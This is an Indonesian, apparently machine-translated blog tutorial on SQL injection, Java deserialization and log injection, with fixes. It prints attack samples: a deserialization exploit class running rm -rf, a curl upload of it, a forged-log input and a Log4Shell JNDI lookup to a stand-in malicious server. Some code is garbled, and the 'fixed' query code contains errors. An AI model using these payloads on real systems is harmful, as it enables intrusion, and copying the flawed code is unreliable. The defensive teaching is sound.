Kelemahan keamanan utama dalam kode Anda dan cara memperbaikinya

 – Beragampengetahuan
9 mins read

Kelemahan keamanan utama dalam kode Anda dan cara memperbaikinya – Beragampengetahuan

Pelanggaran terkenal pada game populer Fortnite pada tahun 2019 dilaporkan membuat jutaan pemain berisiko terkena malware. Insiden ini menyoroti pentingnya mengamankan database SQL dengan benar.

Tapi ini bukan masalah tersendiri.

Serangan yang melibatkan SQL injection sudah terjadi berkali-kali, seperti yang dialami Tesla pada tahun 2018 lalu. Dalam insiden tersebut, serangan injeksi SQL lainnya memengaruhi konsol Kubernetes Tesla, menyebabkan kerugian finansial akibat aktivitas penambangan kripto yang tidak sah.

Tapi ini bukan hanya tentang injeksi SQL.

Kode Anda sekarang mungkin juga terkena vektor serangan lain, seperti yang dialami perusahaan besar di masa lalu, seperti serangan tahun 2021 terhadap pustaka Log4J yang disebut Log4Shell, yang melibatkan serangan injeksi log yang telah memengaruhi jutaan server di seluruh dunia. tanggal, atau Serangan deserialisasi terjadi di Atlassian Jira pada tahun 2022, memengaruhi beberapa versi Jira, memberikan penyerang kendali penuh.

Hal ini bisa terjadi pada siapa saja, bahkan pada Anda.

Pada artikel ini, saya akan membahas 3 serangan paling umum pada kode: injeksi SQL, Injeksi deserialisasiDan Injeksi logdan cara mengatasinya.

Contents

injeksi SQL

Aplikasi yang menyimpan informasi dalam database sering kali menggunakan nilai yang dibuat pengguna untuk memeriksa izin, menyimpan informasi, atau sekadar mengambil data yang disimpan dalam tabel, dokumen, titik, node, dll. Saat aplikasi kami menggunakan nilai-nilai ini, penggunaan yang tidak tepat dapat mengakibatkan hilangnya data. Memungkinkan penyerang memasukkan kueri tambahan yang dikirim ke database untuk mengambil nilai yang tidak diizinkan, atau bahkan mengubah tabel ini untuk mendapatkan akses.

Kode berikut mengambil pengguna dari database berdasarkan nama pengguna yang diberikan di halaman login. Semuanya tampak baik-baik saja.

public List findUsers(String user, String pass) throws Exception {
  String query = "SELECT userid FROM users " +
           "WHERE username="" + user + "" AND password='" + pass + "'";
  Statement statement = connection.createStatement();
  ResultSet resultSet = statement.executeQuery(query);
  List users = new ArrayList();
  while (resultSet.next()) {
    users.add(resultSet.getString(0));
  }
  return users;
}

Namun, kode ini, yang menggunakan interpolasi string, akan memberikan hasil yang tidak diharapkan ketika penyerang menggunakan teknik injeksi, yang memungkinkan penyerang untuk masuk ke dalam aplikasi.

Tangkapan layar masuk

Untuk mengatasi masalah ini, kami mengubah pendekatan ini dari penggunaan penggabungan string menjadi injeksi parameter. Faktanya, penggabungan string umumnya merupakan ide yang buruk dalam hal kinerja dan keamanan.

String query = "SELECT userid FROM users " +
               "WHERE username="" + user + "" AND password='" + pass + "'";

Mengubah nilai parameter yang terkandung langsung dalam string SQL menjadi parameter yang dapat kita referensikan nanti akan menyelesaikan masalah peretasan kueri.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Kode tetap kami akan terlihat seperti ini prepareStatement dan pengaturan nilai untuk setiap parameter.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

Injeksi deserialisasi

Deserialisasi adalah proses mengubah data dari format serial (seperti aliran byte, string, atau file) kembali menjadi objek atau struktur data yang dapat digunakan oleh suatu program. Penggunaan umum deserialisasi termasuk pengiriman data sebagai struktur JSON antara API dan layanan web, atau sebagai pesan Protobuf dalam aplikasi modern menggunakan RPC (panggilan prosedur jarak jauh).

Ubah muatan pesan menjadi Object Jika langkah pembersihan atau inspeksi tidak diterapkan, kerentanan serius mungkin terjadi.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

Di sini kita dapat melihat apa yang kita gunakan objectISnilai langsung dari pengguna dalam aliran masukan permintaan dan mengubahnya menjadi objek baru. Kami ingin nilai selalu menjadi salah satu kelas yang digunakan oleh aplikasi kami. Tentu saja, klien kami tidak akan pernah mengirimkan apa pun lagi, bukan? Akankah mereka?

Namun bagaimana jika klien jahat mengirimkan kelas lain dalam permintaannya?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

Dalam hal ini kita memiliki kelas yang menghapus file di konstruktor default, ini akan terjadi di konstruktor sebelumnya readObject panggilan.

Penyerang hanya perlu membuat serialisasi kelas ini dan mengirimkannya ke API:

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser 

Untungnya, ada cara mudah untuk memperbaiki masalah ini. Sebelum membuat objek kita perlu memeriksa apakah kelas yang akan dideserialisasi berasal dari salah satu tipe yang diperbolehkan.

Pada kode di atas, kita membuat yang baru ObjectInputStream Dan”resolveClassMetode ” ditimpa untuk menyertakan tanda centang pada nama kelas. Kami menggunakan kelas baru ini, SecureObjectInputStreamdapatkan aliran objek. Namun sebelum membaca aliran ke objek, kita melakukan pengecekan daftar izin (User).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

Injeksi log

Sistem logging adalah komponen atau layanan perangkat lunak yang dirancang untuk mencatat peristiwa, pesan, dan data lain yang dihasilkan oleh aplikasi, sistem, atau perangkat. Log sangat penting untuk memantau, memecahkan masalah, mengaudit, dan menganalisis perilaku dan kinerja perangkat lunak dan sistem. Seringkali, aplikasi ini mencatat kegagalan, upaya login, dan bahkan keberhasilan untuk membantu proses debug ketika masalah akhirnya muncul.

Namun mereka juga dapat menjadi vektor serangan.

Injeksi log adalah kerentanan keamanan yang memungkinkan penyerang memanipulasi file log dengan memasukkan masukan berbahaya ke dalamnya. Jika log tidak dibersihkan dengan benar, hal ini dapat menyebabkan beberapa masalah keamanan. Ketika penyerang memodifikasi konten log untuk merusaknya atau menambahkan informasi palsu untuk mempersulit analisis atau menyusupi pengurai log, kita dapat menemukan masalah seperti pemalsuan dan kontaminasi log, serta kerentanan sistem manajemen log di mana penyerang memasukkan log ke dalam Memanfaatkan kerentanan di sistem manajemen log dapat menyebabkan serangan lebih lanjut, seperti eksekusi kode jarak jauh.

Mari kita pertimbangkan kode berikut di mana kita mendapatkan nilai dari pengguna dan mencatatnya.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

Kelihatannya tidak berbahaya, bukan?

Namun bagaimana jika penyerang mencoba login menggunakan pengguna tersebut?

john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
Penyerang mencoba masuk menggunakan pengguna

Ini jelas merupakan nama pengguna yang salah dan akan gagal. Namun, itu akan dicatat, dan orang yang memeriksa log tersebut akan sangat bingung.

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in

Atau lebih buruk lagi! — Jika penyerang mengetahui bahwa sistem menggunakan versi Log4J yang belum dipatch, mereka dapat mengirimkan nilai berikut sebagai pengguna dan sistem akan dieksekusi dari jarak jauh. Server LDAP yang dikendalikan penyerang merespons dengan referensi ke kelas Java berbahaya yang dihosting di server jauh. Aplikasi yang rentan mengunduh dan mengeksekusi kelas ini, sehingga penyerang dapat mengambil kendali server.

    $ { jndi:ldap://malicious-server.com/a}

Tapi kita bisa dengan mudah mencegah masalah ini.

Membersihkan nilai yang akan dicatat penting untuk menghindari kerentanan pemalsuan log, karena dapat mengakibatkan keluaran palsu yang dibuat pengguna menjadi kacau.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

Hasil yang akan kita lihat di log adalah sebagai berikut, sekarang lebih mudah untuk melihat bahwa semua log milik panggilan yang sama ke sistem logging.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in

Untuk mencegah sistem logging dieksploitasi, penting untuk memperbarui perpustakaan kami ke versi stabil terbaru bila memungkinkan. Untuk Log4j, perbaikan ini akan menonaktifkan fungsionalitasnya. Kita juga bisa menonaktifkan JNDI secara manual.

     -Dlog4j2.formatMsgNoLookups=true

Jika Anda masih perlu menggunakan JNDI, prosedur pembersihan umum hanya memeriksa tujuan berdasarkan daftar tujuan yang diizinkan untuk menghindari serangan berbahaya.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

dan konfigurasikan sistem kami untuk menggunakan pabrik konteks filter.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

sebagai kesimpulan

Pelanggaran keamanan bukan hanya masalah teoritis, namun merupakan ancaman nyata yang telah mempengaruhi perusahaan-perusahaan besar, menyebabkan kerugian finansial dan reputasi yang besar. Dari injeksi SQL hingga deserialisasi dan injeksi logging, vektor serangan ini sangat umum dan jika tidak ditangani dengan benar, kode yang tidak aman akan mudah dieksploitasi.

Dengan memahami sifat kerentanan ini dan menerapkan perbaikan yang disarankan, seperti menggunakan kueri berparameter, menghindari praktik deserialisasi yang tidak aman, dan mengamankan kerangka kerja logging dengan benar, pengembang dapat mengurangi risiko serangan ini secara signifikan. Langkah-langkah keamanan proaktif sangat penting untuk melindungi aplikasi Anda dari korban berikutnya dari serangan yang meluas dan merusak ini.

bacaan lebih lanjut

Berikut ini informasi selengkapnya tentang alat sumber terbuka gratis yang dapat mendeteksi, memperingatkan, dan merekomendasikan perbaikan kerentanan ini.

rencana pengembangan website



metode pengembangan website

jelaskan beberapa rencana untuk pengembangan website, proses pengembangan website, kekuatan dan kelemahan bisnis pengembangan website
, jasa pengembangan website, tahap pengembangan website, biaya pengembangan website

#Kelemahan #keamanan #utama #dalam #kode #Anda #dan #cara #memperbaikinya

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *